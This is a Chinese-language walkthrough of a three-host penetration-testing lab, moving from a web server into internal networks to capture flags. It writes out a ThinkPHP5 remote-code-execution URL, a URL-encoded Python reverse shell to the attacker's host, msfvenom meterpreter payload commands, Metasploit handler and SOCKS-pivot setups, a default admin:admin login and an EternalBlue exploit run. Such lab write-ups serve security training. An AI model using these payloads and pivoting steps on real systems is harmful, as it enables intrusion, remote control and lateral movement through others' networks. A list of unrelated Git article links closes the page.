从web到内网渗透的一次过程详解

 更新时间:2021年09月30日 15:21:50   作者:https://blog.csdn.net/kukudeshuo/article/details/120533367  
本文非常详细的描述了一次从web到内网渗透的一次过程,并对每一步过程做了详细的图文示例及解析,有需要的朋友可以借鉴参考下,希望能够有所帮助

记一次从web到内网的渗透

拓扑图

环境介绍

现在有三台机器,分别为target1,target2,target3,里面分别有三个flag,每个flag的分值不同,需要通过拿下一个已知IP(target1)进而向内网里面进行渗透,最终要成功获得三台主机权限

渗透过程

target1

使用nmap进行扫描

可以看到开启了80端口
浏览器访问目标靶机80端口

可以看到就是apache的默认页面
使用dirb进行目录结构扫描

发现public页面

可以看到是thinkphp5搭建的网站,thinkphp5曾经爆过一个远程代码执行的漏洞,直接上网站寻找payload验证是否存在漏洞

http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

可以看到确实存在漏洞,现在可以向网站里面写入一句话木马,然后用蚁剑去连接,这是一种方法,但是也可以直接去尝试反弹一个shell到kali上

kali上执行:nc -lvvp 4444
浏览器中执行:http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.109.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);

可以看到kali这边成功反弹到了一个shell

使用python生成一个交互式的shell

查找一下flag

成功获得第一个flag
使用msfvenom生成一个反向的shellcode

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf

使用python开启一个临时http服务

靶机下载该shellcode

然后kali打开msf,进行监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 5555
set lhost 192.168.109.128
exploit

然后靶机上给予shellcode执行的权限后执行该文件

可以看到kali这边成功返回一个meterpreter

查看一下网络配置

可以看到target1还存在一个网段
添加路由表

配置socks代理

use auxiliary/server/socks_proxy
exploit

配置proxychains代理链

vim /etc/proxychains4.conf

target2

扫描10.1.1.0/24这个网段是否还存在其他机器

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.1.0/24
set ports 1-1000
set threads 50
exploit

可以看到该网段还存在一台机器为10.1.1.150
使用nmap扫描10.1.1.150开放端口

proxychains4 nmap -Pn -sT 10.1.1.150

可以看到也开放了80端口
这里直接用浏览器去访问10.1.1.150的80端口显然是不行的,不过火狐浏览器也是支持socks代理的

再次访问网站

查看robots.txt文件

找到后台登入位置

直接使用弱密码admin:admin登入成功

成功获得第二个flag,找到模板位置,发现里面的源码都是可以编辑的

写入一句话木马

然后使用蚁剑去连接,当然直接去连接肯定也是不行的,不过蚁剑也是支持代理设置的

之后再正常去连接就行了,但是我这里不知道是环境问题还是蚁剑的问题,正常来说这里是肯定能连接成功的,我试了很多遍都没有成功,然后想着直接把那个页面里面的源码直接换为大马,也是不行的,因为一般大马都是经过作者编译过了,直接复制过去肯定会有问题,最后只能直接将大马事先准备在了网站根目录下面,这里主要是为了体现内网渗透,所以这里也不细说
访问大马

使用msfvenom生成一个正向连接的shellcode

msfvenom -p windows/meterpreter/bind_tcp lport=6666 -f exe -o 1.exe

然后通过大马将shellcode上传到目标服务器

然后再次进入之前打开的msf

然后在大马上执行上传的shellcode

可以看到kali这边成功返回了一个meterpreter

查看网络配置

可以看到还有一个网段10.1.2.0/24
将路由添加到路由表

run post/multi/manage/autoroute

taget3

扫描10.1.2.0/24网段是否还存在其他机器

use auxiliary/scanner/portscan/tcp
set rhosts 10.1.2.0/24
set ports 1-1000
set threads 100
exploit

这里扫描实在太慢,这个网段还有一个机器IP为10.1.2.250
然后再添加一层socks代理

use auxiliary/server/socks_proxy
set srvport 2222
exploit

配置proxychains代理链

vim /etc/proxychains4.conf

使用nmap进行端口扫描

proxychains4 nmap -Pn -sT 10.1.2.250

根据扫描结果判断操作系统为windows
再使用nmap的漏扫脚本进行扫描

proxychains4 nmap --script=vuln 10.1.2.250

可以看到存在ms17-010,直接上msf寻找攻击模块

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.1.2.250
exploit

查找一下flag

三台主机的权限全部那先,所有flag查找完毕,至此,渗透结束

以上就是从web到内网渗透的一次过程详解的详细内容,更多关于web到内网渗透过程的资料请关注脚本之家其它相关文章!

相关文章

  • git如何将master分支上的代码合并到自己新建的分支上

    git如何将master分支上的代码合并到自己新建的分支上

    当新建分支未及时跟踪master分支的更新,导致拉取时出现无跟踪信息的提示,解决方法是先切换到master分支,进行git pull操作获取最新代码,然后切换回自己的分支并合并master的代码,最后将更新后的分支推送到远程仓库,这样确保新建分支能与master保持同步
    2024-09-09
  • Git安装详细图文教程(Git 安装过程的每一个步骤)

    Git安装详细图文教程(Git 安装过程的每一个步骤)

    这篇文章主要介绍了Git安装详细图文教程(Git 安装过程的每一个步骤),本文以Git-2.35.1.2-64-bit.exe为例给大家讲解安装过程,需要的朋友可以参考下
    2023-02-02
  • 详解Git 的 rebase 命令使用方法

    详解Git 的 rebase 命令使用方法

    这篇文章主要介绍了Git 的 rebase 命令使用方法,接下来,我们使用rebase命令,其命令一般形式为git rebase feature,即表示在 master 分支上执行rebase命令,将 feature 分支的代码合并到 master 分支,本文给大家介绍的非常详细,需要的朋友可以参考下
    2022-05-05
  • 详解git merge命令应用的三种情景

    详解git merge命令应用的三种情景

    这篇文章主要介绍了详解git merge命令应用的三种情景,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-08-08
  • 详解Git建立本地仓库的两种方法

    详解Git建立本地仓库的两种方法

    这篇文章主要介绍了详解Git建立本地仓库的两种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-08-08
  • 怎样删除Git中缓存的用户名和密码

    怎样删除Git中缓存的用户名和密码

    这篇文章主要介绍了怎样删除Git中缓存的用户名和密码问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-05-05
  • Web 设计与开发者必须知道的 15 个站点

    Web 设计与开发者必须知道的 15 个站点

    今天读到一篇文章,介绍了15个对 Web 设计与开发师极端有用的站点,里面有不少也是我们一直在使用的,也许对很多人都有用,翻译出来以饷同仁。
    2009-08-08
  • Git如何恢复到之前版本

    Git如何恢复到之前版本

    这篇文章主要介绍了Git如何恢复到之前版本,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2022-09-09
  • 各种编程语言中$符号的意义

    各种编程语言中$符号的意义

    这篇文章主要介绍了各种编程语言中$符号的意义,本文是给编程新看看的,$符号在多种编程语言中都在使用,需要的朋友可以参考下
    2014-09-09
  • IDEA一键启动多个微服务操作步骤

    IDEA一键启动多个微服务操作步骤

    在开发多个微服务的项目时,逐个启动服务较为繁琐,通过IDEA的Compound功能,可以实现一键启动多个服务,本文详细介绍了如何通过编辑配置来添加微服务群组,文中通过图文介绍的非常详细,需要的朋友可以参考下
    2024-09-09

最新评论